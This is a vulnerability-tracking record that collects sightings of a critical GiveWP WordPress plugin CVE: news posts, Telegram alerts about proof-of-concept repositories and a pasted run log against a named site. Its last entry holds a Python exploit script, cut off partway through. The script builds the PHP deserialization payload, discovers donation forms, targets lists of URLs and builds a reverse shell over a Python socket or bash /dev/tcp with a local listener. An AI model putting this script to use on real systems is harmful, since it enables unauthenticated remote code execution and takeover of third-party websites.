{"vulnerability": "cve-2026-82222", "sightings": [{"uuid": "c965d505-1806-4a01-ab78-48fdb3b6950c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "Telegram/5kO5Q2wTOurnBwc-YFHOCZwVFJew3TejlXiqZK_FHnxdywk", "content": "", "creation_timestamp": "2026-09-02T01:00:18.688542Z"}, {"uuid": "a062f690-3101-445a-97e3-b085df43d2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/509", "content": "poc: https://github.com/dinosn/givewp-cve-2026-82222-rce-lab", "creation_timestamp": "2026-08-30T14:00:04.528687Z"}, {"uuid": "ab0fec19-fce8-422b-93b6-81a61198f252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mu72ott44y2f", "content": "CVE-2026-82222 - givewp\nThe GiveWP donation plugin for WordPress can be fooled by specially crafted information, allowing an attacker to insert malicious instructions that run on your site. This could give them\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#givewp #CVE #infosec", "creation_timestamp": "2026-08-29T04:40:04.447533Z"}, {"uuid": "a4b2ebe9-5cda-46bf-9c2c-660f6ef9d3d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mu5jwrpbtc24", "content": "\ud83d\udea8 CVE-2026-82222 \u2014 CVSS 10 CRITICAL\n\nDeserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection. T...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-82222\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-28T14:07:37.838960Z"}, {"uuid": "8bcdcc6d-ecac-44e2-8ad2-00c0dfd716bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mu74dqrndj2u", "content": "\ud83e\udd16 CVE-2026-82222: RCE in the GiveWP WordPress donation plugin. Unauthenticated registration + unserialize gadget chain \u2192 arbitrary code execution. Fixed in 4.16.7.2.\nhttps://www.bleepingcomputer.com/news/security/givewp-wordpress-donation-plugin-flaw-lets-hackers-execute-server-commands/", "creation_timestamp": "2026-08-29T05:09:39.447897Z"}, {"uuid": "b2284380-2d4a-44b0-b8ff-bae4b4933f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://t.me/captainsmok3r_official/506", "content": "GiveWP WordPress donation plugin has a CVSS 10 RCE flaw. CVE-2026-82222: unauthenticated PHP object injection via deserialization. Affects &lt;= 4.16.7.1", "creation_timestamp": "2026-08-29T00:00:07.107418Z"}, {"uuid": "f93647f6-874e-4e07-acf7-e90351568f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/bilaltariq01.bsky.social/post/3mu6uv3gyfa2f", "content": "GiveWP CVE-2026-82222: RCE Chain from Unauthenticated Registration to PHP Object Injection https://cstu.io/36a669 #tecnologia #python #google", "creation_timestamp": "2026-08-29T02:56:11.806762Z"}, {"uuid": "9101bdf6-b58e-4c45-8724-83d8835f09af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100304", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-82222-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a UdinChan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-30 01:54:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPublic PoC for CVE-2026-82222\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-30T07:00:04.767427Z"}, {"uuid": "17d57ec9-93be-4a0f-a5a5-2f07ddf55c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100326", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a givewp-cve-2026-82222-rce-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-30 05:23:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAuthorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-30T09:00:06.397429Z"}, {"uuid": "121c2e13-67e2-4911-aa4e-b608c47c281d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3muc6kho37s2h", "content": "Daily IT Security Digest \u2014 2026-08-30\nbeing actively exploited in the wild.\n   Source: https://infosec.exchange/@beyondmachines1/117183879688482251\n\n5. **GiveWP Maximum-Severity RCE (CVE-2026-82222)**\n   GiveWP, a widely used WordPress donation plugin, released an emergency update to fix a critical", "creation_timestamp": "2026-08-30T10:27:11.466726Z"}, {"uuid": "1fd7eec9-bf9f-4a4a-bec3-e34bd1751ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/510", "content": "python poc.py -u https://parishtest.actondev7.com\nCVE-2026-82222 GiveWP unauth RCE PoC \u2014 1 target(s), cmd='id'\n\n[*] target https://parishtest.actondev7.com  token mb1qjodqvj9a\n    [PASS] register (auth cookie issued) \u2014 status=200\n    [PASS] profile nonce harvested \u2014 uid='14'\n    [PASS] gadget stored in last_name meta \u2014 update=True stored_len=481\n    [PASS] donation form discovered \u2014 form_id=9 via https://parishtest.actondev7.com/donations/donate-to-the-parish/\n    [PASS] donation nonce via admin-ajax \u2014 nonce=d675274bcb...\n    [FAIL] session poisoned (HTTP 500 after write) \u2014 status=200 (no crash: amount/gateway mismatch or write-path rejection \u2014 target may be patched)\n    [FAIL] command executed (marker fetched over HTTP) \u2014 marker https://parishtest.actondev7.com/wp-content/uploads/mb1qjodqvj9a.txt not retrievable\n\n================================================================\ntarget                                     result\n----------------------------------------------------------------\nhttps://parishtest.actondev7.com           not confirmed\n================================================================\n0/1 target(s) confirmed command execution", "creation_timestamp": "2026-08-30T17:00:05.264472Z"}, {"uuid": "da82e5e4-de09-473c-98a2-664407fa3d66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mucwgzvl2m2h", "content": "CVE-2026-82222 is trending. Hype score 12, currently #3 on cvemon.\n\nDeserialization of Untrusted Data vulnerability in Liquid Web / StellarWP GiveWP allows Object Injection. This issue affects GiveWP: from n/a through 4.16.7.1.\n\nhttps://cvemon.intruder.io/cves/CVE-2026-82222", "creation_timestamp": "2026-08-30T17:34:46.385497Z"}, {"uuid": "46f4bee6-1914-4d35-99a5-3ca0bf142ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mue52rmhdw2x", "content": "Daily IT Security Digest \u2014 2026-08-31\nTwo critical WordPress plugin vulnerabilities were disclosed:- **GiveWP (CVE-2026-82222)**: Maximum-severity vulnerability allowing unauthenticated remote code execution. Attackers can take over WordPress sites.", "creation_timestamp": "2026-08-31T05:05:50.807308Z"}, {"uuid": "e853885e-2b55-4f1c-8b1f-7eff29a43b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100481", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a R0x19\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-31 09:38:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGiveWP &lt;= 4.16.7.1 Unauthenticated PHP Object Injection \u2192 RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-31T15:00:04.341253Z"}, {"uuid": "597adeed-dd10-4bca-9a83-454eeca2d703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://t.me/pphm_HackerNews/2935", "content": "\ud83d\udd34 Critical GiveWP Flaw Lets Attackers Run Commands on WordPress Servers\n\nA critical GiveWP flaw lets unauthenticated attackers execute server commands. Version 4.16.7.2 fixes the PHP object injection chain.\n\nA critical vulnerability in GiveWP, one of the most widely used WordPress plugins for online donations and fundraising, can let an unauthenticated attacker execute commands on the server. Patchstack disclosed the flaw on August 28, after researcher Udin Chan reported it on July 28, and GiveWP fixed it in version 4.16.7.2 released on August 27.\n\nThe issue, tracked as CVE-2026-82222 (CVSS score of 10.0), affects GiveWP versions through 4.16.7.1. An attacker doesn\u2019t need an account or user interaction to exploit the underlying vulnerability.", "creation_timestamp": "2026-08-31T16:00:05.484154Z"}, {"uuid": "de182cc1-903c-41a5-a196-9a421b5f07cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/9Yoqh7sH3hpcZGym1s5AOL0SDgosbZzJ3I3cv0NpjiXxckZ0", "content": "", "creation_timestamp": "2026-08-31T19:00:05.222655Z"}, {"uuid": "510388d2-c547-4869-9845-b369afc9cc95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "Telegram/U-Lw1mLsBIRfCm1Ollw0n6rUh-gbSxMVEkANJuForVtnctY", "content": "", "creation_timestamp": "2026-09-02T01:00:08.658884Z"}, {"uuid": "71c626d2-88bc-46b8-af10-8964aaf8c1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/5kO5Q2wTOurnBwc-YFHOCZwVFJew3TejlXiqZK_FHnxdywk", "content": "", "creation_timestamp": "2026-09-03T00:00:37.094936Z"}, {"uuid": "0a926278-3163-4d71-88c4-58f1b4172b04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/U-Lw1mLsBIRfCm1Ollw0n6rUh-gbSxMVEkANJuForVtnctY", "content": "", "creation_timestamp": "2026-09-03T00:00:56.505603Z"}, {"uuid": "184149f0-f8f0-4862-aa68-e01a985b2e13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "Telegram/7rOm1zJT0O_J1zSVt8MF-lgEyNqtBlv6mn184b2XAxA64A", "content": "", "creation_timestamp": "2026-09-08T04:00:03.733683Z"}, {"uuid": "c5155416-8268-4e86-b858-82693d538884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/7rOm1zJT0O_J1zSVt8MF-lgEyNqtBlv6mn184b2XAxA64A", "content": "", "creation_timestamp": "2026-09-09T00:00:41.996079Z"}, {"uuid": "207003f1-f504-424e-9067-91623b19a00e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "Telegram/H9pq_-_u-I5XxEZfq-Ia_chOLgi5ZnpVozN0XcBs3PyYc-g", "content": "", "creation_timestamp": "2026-09-09T04:00:31.489265Z"}, {"uuid": "fd9a4665-226c-4bca-90d8-b815fb84a52a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://t.me/GithubRedTeam/101713", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a GhostlyrootB2H\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-08 19:26:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u26a1 GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP &lt;= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. \u26a0\ufe0f Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-09T05:00:05.219664Z"}, {"uuid": "723cbc36-f412-44d6-ab1f-1a35e635b815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/H9pq_-_u-I5XxEZfq-Ia_chOLgi5ZnpVozN0XcBs3PyYc-g", "content": "", "creation_timestamp": "2026-09-10T00:00:53.356540Z"}, {"uuid": "12c4aad9-0418-411c-8704-433329f2e9fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101713", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a GhostlyrootB2H\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-08 19:26:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u26a1 GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP &lt;= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. \u26a0\ufe0f Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-10T00:00:50.887396Z"}, {"uuid": "3e8b6bd3-a9e6-47a3-8a5c-f1a359feb88d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102000", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sajjadsiam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-11 06:59:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-11T11:00:04.774282Z"}, {"uuid": "023140d4-b691-41fc-89ce-f6dbebbba767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://gist.github.com/wh01s17/dbc1c313d7a7c0dfa698192e0c8fb040", "content": "#!/usr/bin/env python3\nr\"\"\"\nCVE-2026-82222 \u2014 GiveWP &lt;= 4.16.7.1 \u2014 Unauthenticated Remote Code Execution\nAuthorized-security-testing PoC. Use only against systems you are permitted\nto test. Default command is a harmless `id`; execution is proven by fetching\na tokened marker file over HTTP.\n\nChain (GiveWP 4.16.5.1 stock dependencies, WordPress 6.x, PHP 8.1):\n  1. POST give_action=user_register          -&gt; account + auth cookie\n     (ignores users_can_register; nonce only added in 4.16.6)\n  2. POST wp-admin/profile.php               -&gt; serialized gadget stored in\n     own last_name user meta (NUL-free, plain-name properties; namespace\n     separators use 4 backslashes to survive the two stripslashes passes)\n  3. admin-ajax action=give_donation_form_nonce, then\n     action=give_process_donation WITHOUT give_last\n     -&gt; server falls back to the planted last_name meta -&gt;\n     Utils::maybeSafeUnserialize (allowed_classes=false) defers the payload\n     into wp_give_sessions -&gt; HTTP 500 after the write\n  4. Trigger request with the same cookies -&gt; unguarded maybe_unserialize()\n     revives the graph -&gt; at GC:\n        TCPDF::__destruct -&gt; _destroy(true)\n          -&gt; foreach ($this-&gt;imagekeys as ...)          [imagekeys = Session]\n            -&gt; Give\\Vendors\\Symfony\\...\\Session\\Session::getIterator()\n              -&gt; getAttributeBag() -&gt; getBag($this-&gt;attributeName)\n                -&gt; $this-&gt;storage-&gt;getBag($cmd)         [storage = Factory]\n                  -&gt; Give\\TestData\\Factories\\DonationFactory::__call('getBag',[$cmd])\n                    -&gt; ProviderForwarder -&gt; call_user_func_array('system', [$cmd])\n\nUsage:\n  ./cve-2026-82222-rce.py -u http://target[:port][/path]\n  ./cve-2026-82222-rce.py -f urls.txt [--cmd 'id'] [--form-id N]\n                          [--amount 10.00] [--marker-path wp-content/uploads]\n                          [--timeout 20] [--json evidence.json] [--dry-run]\n  ./cve-2026-82222-rce.py -u http://target --shell LHOST [--lport 4444]\n\nNotes:\n  * commands run through system() (sh -c); keep them single-line and ASCII.\n    '&lt;', '&gt;' and '&amp;' are rejected: the WordPress profile storage HTML-escapes\n    them, which corrupts the serialized payload (use 'tee' instead of '&gt;').\n  * --shell starts a local listener before triggering a reverse shell. It\n    prefers a Python PTY and falls back to bash + /dev/tcp. LHOST must be\n    reachable from the target; --bind-host controls only the local listener.\n  * --form-id skips auto-discovery (first published give_forms form).\n  * Exit code: 0 all targets confirmed, 1 one or more not confirmed.\n\"\"\"\n\nimport argparse\nimport base64\nimport json\nimport os\nimport random\nimport re\nimport select\nimport socket\nimport string\nimport sys\nimport threading\nimport time\n\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nUA = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) CVE-2026-82222-PoC/1.0\"}\n\n\n# ---------------------------------------------------------------- payload ---\n\ndef php_s(value: str) -&gt; str:\n    \"\"\"PHP serialized string (byte-length correct).\"\"\"\n    return 's:%d:\"%s\";' % (len(value.encode()), value)\n\n\ndef build_payload(command: str, token: str) -&gt; str:\n    \"\"\"Serialize the TCPDF -&gt; Symfony Session -&gt; DonationFactory graph.\n\n    Wire format constraints (verified against the live target):\n      - plain-name properties (NUL-free; hydrate the declared protected/\n        private slots on PHP 8.1);\n      - four literal backslashes per namespace separator on the wire: the\n        write path applies stripslashes_deep twice (process-donation.php:159\n        and Utils::removeBackslashes), 4 -&gt; 2 -&gt; 1;\n      - O: counts the post-strip class-name length.\n    \"\"\"\n    sep = \"\\\\\" * 4\n    factory_cls = \"Give\" + sep + \"TestData\" + sep + \"Factories\" + sep + \"DonationFactory\"\n    session_cls = (\"Give\" + sep + \"Vendors\" + sep + \"Symfony\" + sep + \"Component\"\n                   + sep + \"HttpFoundation\" + sep + \"Session\" + sep + \"Session\")\n    factory_real = \"Give\\\\TestData\\\\Factories\\\\DonationFactory\"\n    session_real = \"Give\\\\Vendors\\\\Symfony\\\\Component\\\\HttpFoundation\\\\Session\\\\Session\"\n\n    providers = \"a:1:{\" + php_s(\"getBag\") + php_s(\"system\") + \"}\"\n    factory = (\"O:%d:\\\"%s\\\":1:{\" % (len(factory_real), factory_cls)\n               + php_s(\"loadedProviders\") + providers + \"}\")\n    session = (\"O:%d:\\\"%s\\\":2:{\" % (len(session_real), session_cls)\n               + php_s(\"storage\") + factory\n               + php_s(\"attributeName\") + php_s(command) + \"}\")\n    payload = (\"O:5:\\\"TCPDF\\\":2:{\"\n               + php_s(\"file_id\") + php_s(token)\n               + php_s(\"imagekeys\") + session + \"}\")\n    return payload\n\n\ndef build_reverse_shell_command(host: str, port: int, python_bin: str) -&gt; str:\n    \"\"\"Return a callback command whose serialized form avoids '&lt;', '&gt;' and '&amp;'.\"\"\"\n    source = (\"import os,pty,socket\\n\"\n              \"s=socket.socket()\\n\"\n              f\"s.connect(({host!r},{port}))\\n\"\n              \"for fd in (0,1,2): os.dup2(s.fileno(),fd)\\n\"\n              \"pty.spawn('/bin/sh')\\n\")\n    encoded = base64.b64encode(source.encode()).decode()\n    python_callback = (\n        f'{python_bin} -c \"import base64;exec(base64.b64decode(\\'{encoded}\\'))\"')\n\n    # The official WordPress image may not contain Python. Keep the dangerous\n    # redirection characters inside base64 so profile storage cannot corrupt\n    # the serialized string before bash decodes it on the target.\n    bash_source = f\"bash -c 'bash -i &gt;&amp; /dev/tcp/{host}/{port} 0&gt;&amp;1'\"\n    bash_encoded = base64.b64encode(bash_source.encode()).decode()\n    return f\"{python_callback} || echo {bash_encoded} | base64 -d | sh\"\n\n\ndef open_listener(host: str, port: int) -&gt; socket.socket:\n    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    listener.bind((host, port))\n    listener.listen(1)\n    return listener\n\n\ndef interactive_session(conn: socket.socket) -&gt; None:\n    \"\"\"Bridge the accepted reverse-shell socket to the current terminal.\"\"\"\n    stdin_fd = sys.stdin.fileno()\n    stdout_fd = sys.stdout.fileno()\n    old_term = None\n    stdin_open = True\n\n    if sys.stdin.isatty():\n        import termios\n        import tty\n        old_term = termios.tcgetattr(stdin_fd)\n        tty.setraw(stdin_fd)\n\n    try:\n        while True:\n            readers = [conn]\n            if stdin_open:\n                readers.append(stdin_fd)\n            ready, _, _ = select.select(readers, [], [])\n            if conn in ready:\n                try:\n                    data = conn.recv(4096)\n                except OSError:\n                    break\n                if not data:\n                    break\n                os.write(stdout_fd, data)\n            if stdin_open and stdin_fd in ready:\n                data = os.read(stdin_fd, 4096)\n                if data:\n                    try:\n                        conn.sendall(data)\n                    except OSError:\n                        break\n                else:\n                    stdin_open = False\n                    try:\n                        conn.shutdown(socket.SHUT_WR)\n                    except OSError:\n                        pass\n    finally:\n        if old_term is not None:\n            import termios\n            termios.tcsetattr(stdin_fd, termios.TCSADRAIN, old_term)\n\n\ndef trigger_reverse_shell(sess: requests.Session, urls, listener: socket.socket,\n                          request_timeout: int, connect_timeout: int):\n    \"\"\"Trigger deserialization and return the first callback connection.\"\"\"\n    cookies = sess.cookies.get_dict()\n\n    def trigger(url):\n        try:\n            requests.get(url, headers=UA, cookies=cookies, verify=False,\n                         timeout=max(request_timeout, connect_timeout + 5))\n        except requests.RequestException:\n            pass\n\n    per_attempt = max(0.1, connect_timeout / len(urls))\n    for attempt, url in enumerate(urls, 1):\n        threading.Thread(target=trigger, args=(url,), daemon=True).start()\n        listener.settimeout(per_attempt)\n        try:\n            conn, peer = listener.accept()\n            conn.settimeout(None)\n            return conn, peer, attempt\n        except socket.timeout:\n            continue\n    return None, None, None\n\n\n# ------------------------------------------------------------- discovery ----\n\nJUNK = re.compile(r\"(feed|wp-json|wp-includes|wp-admin|wp-login|xmlrpc|\\.css|\\.js|\\.png|\\.jpe?g|#|^mailto:)\", re.I)\n\n\ndef discover_form_id(sess: requests.Session, base: str, timeout: int):\n    \"\"\"Find the first published legacy donation form id.\n\n    Walks the give_forms archive (and homepage as fallback), then probes the\n    linked pages for the donation form markup.\n    \"\"\"\n    seen_pages = set()\n    for listing in (base + \"/?post_type=give_forms\", base + \"/\"):\n        try:\n            r = sess.get(listing, timeout=timeout, allow_redirects=True)\n        except requests.RequestException:\n            continue\n        m = re.search(r'name=\"give-form-id\"\\s+value=\"(\\d+)\"', r.text)\n        if m:\n            return m.group(1), listing\n        links = []\n        for href in re.findall(r'href=\"([^\"]+)\"', r.text):\n            if href.startswith(\"/\") and not href.startswith(\"//\"):\n                href = base + href\n            if (href.startswith(base) and not JUNK.search(href)\n                    and href.rstrip(\"/\") != base.rstrip(\"/\") and href not in links):\n                links.append(href)\n        for link in links[:8]:\n            if link in seen_pages:\n                continue\n            seen_pages.add(link)\n            try:\n                r2 = sess.get(link, timeout=timeout, allow_redirects=True)\n            except requests.RequestException:\n                continue\n            m = re.search(r'name=\"give-form-id\"\\s+value=\"(\\d+)\"', r2.text)\n            if m:\n                return m.group(1), link\n    return None, None\n\n\n# ---------------------------------------------------------------- exploit ---\n\ndef grab(pat, text):\n    m = re.search(pat, text)\n    return m.group(1) if m else \"\"\n\n\ndef exploit_target(base: str, args) -&gt; dict:\n    ev = {\"target\": base, \"steps\": {}, \"confirmed\": False}\n    base = base.rstrip(\"/\")\n    token = \"\".join(random.choices(string.ascii_lowercase + string.digits, k=12))\n    user = \"poc\" + token\n    email = 